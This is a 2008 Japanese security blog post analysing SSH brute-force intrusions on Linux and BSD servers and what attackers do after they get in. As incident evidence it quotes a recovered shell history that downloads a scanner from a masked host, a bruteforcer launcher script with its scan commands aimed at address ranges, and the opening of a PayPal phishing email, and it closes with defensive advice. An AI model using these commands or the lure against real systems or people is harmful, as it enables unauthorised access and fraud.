sshブルートフォースアタック(brute force attack)続く
Published: 2008/02/03
2006年末〜2007年にかけてかなりの量が検出されていたが、現状でも検出が続いている。今更感はありますが、もう一度その影響をまとめてみます。
要はTCP22向けのscanおよびID/Passwordの辞書攻撃によりssh経由でログイン可能なIDを見つけようとするもの。自営のLinux、BSDのサーバーのログに大量のアクセス失敗ログが残っていることによって気づくことが多く、ネットワークにサーバを接続したままLinuxやBSDのインストール作業をしていると知らないうちに侵入を許していることも多い。そして侵入後ほとんどが以下の目的に利用されている。
- ssh bruteforcerが仕掛けられる
- IRC bouncerが仕掛けられる
- spam senderが仕掛けられる
- phising siteが仕掛けられる
侵入後の行動は15年前を思い出すレガシーというか教科書に載っているようなものである。そしてほとんどの例で大量の痕跡が残される。historyファイルにコマンド履歴等も消されず残っていることが多い。(当然消されていることもあるが)
.bash_historyの例 w cat /proc/cpuinfo screen ps -ax cd /var/spool mkdir ". /" cd ". /" wget ***.ro/scaner.zip tar xvf scaner.zip rm -rf scaner.zip cd scan ls rm -rf README asn1 vuln.txt ls mv EXPLOIT a ls screen ps -ax ls cd /var/spool cd ". /" cd scan ls -a ftp tar zxvf ssh.tgz rm -rf ssh.tgz cd ssh ls -a rm -rf nobash.txt vuln.txt screen w uptime cat /etc/issue cd /var/tmp cd ssh ls -a screen -r
特徴をひとつひとつ見ていく。
/var/tmp、/var/spoolなどの書き込み権のあるディレクトリに見つかりにくい名前の隠しディレクトリを作成する。
ls -al /var/tmp drwxrwxrwt 2 root root 4096 4月 3 04:40 . drwxrwxrwt 2 **** **** 4096 11月 12 20:32 . drwxr-xr-x 26 root root 4096 4月 3 2007 ..
2行目は". "(.の後ろに半角スペース)というディレクトリ名。教科書には"..."等の例でよく紹介されている。実際に行われているスペースを使ったものは古典的ではあるが確かに気づきにくいと再認識。
rootkitの利用
コマンドの置き換えやバックドア作成を行う。これらはchkrootkit等のツールで検出可能であるものがほとんど。使用されないことも多い。
ssh bruteforcerの例
以下のようなスクリプトで実行。この例ではscript名は「a」、scanツールは「pscan2」。この他にID/Password辞書がある。引数で指定したBクラスのアドレスをインクリメントしつつ順番にscanし、成功したらそのIPアドレスとID、Passwordを結果ファイルに記録する。大量に検出されるTCP22のscanパケットの送信源のひとつになるということである。
最後に起動されている「sshd」は裏口用のsshd。
#!/bin/bash # if [ $# != 1 ]; then echo " usage: $0 <b class>" exit; fi rm -rf scan.log echo echo sleep 1 ././pscan2 $1 22 echo "[+] Alright.. bruteforcing..." ./sshd 100 echo "[+] Sleeping 10 secs" sleep 10
コマンド実行例
% ./a 60.30; ./a 60.31; ./a 60.32; ./a 60.33; ./a 60.34; ./a 60.35; ./a 60.36; ./a 60.37; ./a 60.38; ./a 60.39; ./a 221.240; ./a 221.241; ./a 221.242; ./a 221.243; ./a 221.244; ./a 221.245; ./a 221.246;
IRC bouncer
IRC (Client) Proxy。機能的には名前のとおり。これ自体はMalwareでも何でもない普通のIRCサーバーソフト。psybncや数種類のプログラムがよく検出される。
ここでの使われ方は、他のbotとC&CのIRC通信を中継するために用いられる。C&C本体の隠蔽用。botnet解析や対策が行われる際に仕掛けられたこのサーバーがC&Cサーバーに見えてしまう。
spam sender
送信用スクリプト、文面情報、送信者情報のファイルをダウンロードしてきて実行する。同様のUNIX乗っ取り?例でのspam送信を分析したところほとんどがフィッシングメール送信に利用されるようだ。
<html> <head> <title>Paypal-Account Alert</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td><img src="http://images.paypal.com/en_US/i/logo/email_logo.gif"></td> </tr> <tr> <td height="20" bgcolor="#003366"> </td> </tr> <tr> <td> </td> </tr> <tr> <td valign="top"><table width="65%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="2%"> </td>
まとめ
実行されている内容は、懐かしい内容だが、同様の手法で攻撃に利用されているサーバーは大量に存在する。前述のように、隠蔽工作はかなりずさんに行われているようで、historyファイルに行動が残ったり、screenコマンドで仮想terminalを何重にも開いてコマンド実行していたり、侵入用のsshdが大量に開かれていたり、と発見できる要素は多々あるがホスティングサービスを利用している場合はなかなか見つけにくいのかもしれない。
FedoraやFreeBSDなどの使いやすさが向上し利用者が増え、ホスティングサービスも拡大している状況でありながら、UNIX系のサーバーのセキュリティ対策はWindowsにくらべて(Windowsがあまりにもひどかったので)盲点になっているのかも?(「昔から進歩していない」とか、「歴史はloopしているだけ」とかの言い方もあるか...)
ちなみにssh bruteforce attackへの対策でもっとも安易だが効果が高いのはsshdの起動ポートを22番とは違うポートに変更すること。ip tablesで接続元を限定するよりも簡単に行え効果があったりする。当然、根本的な対策ではないので、一時的な回避策ととらえていただきたいです。
by jyake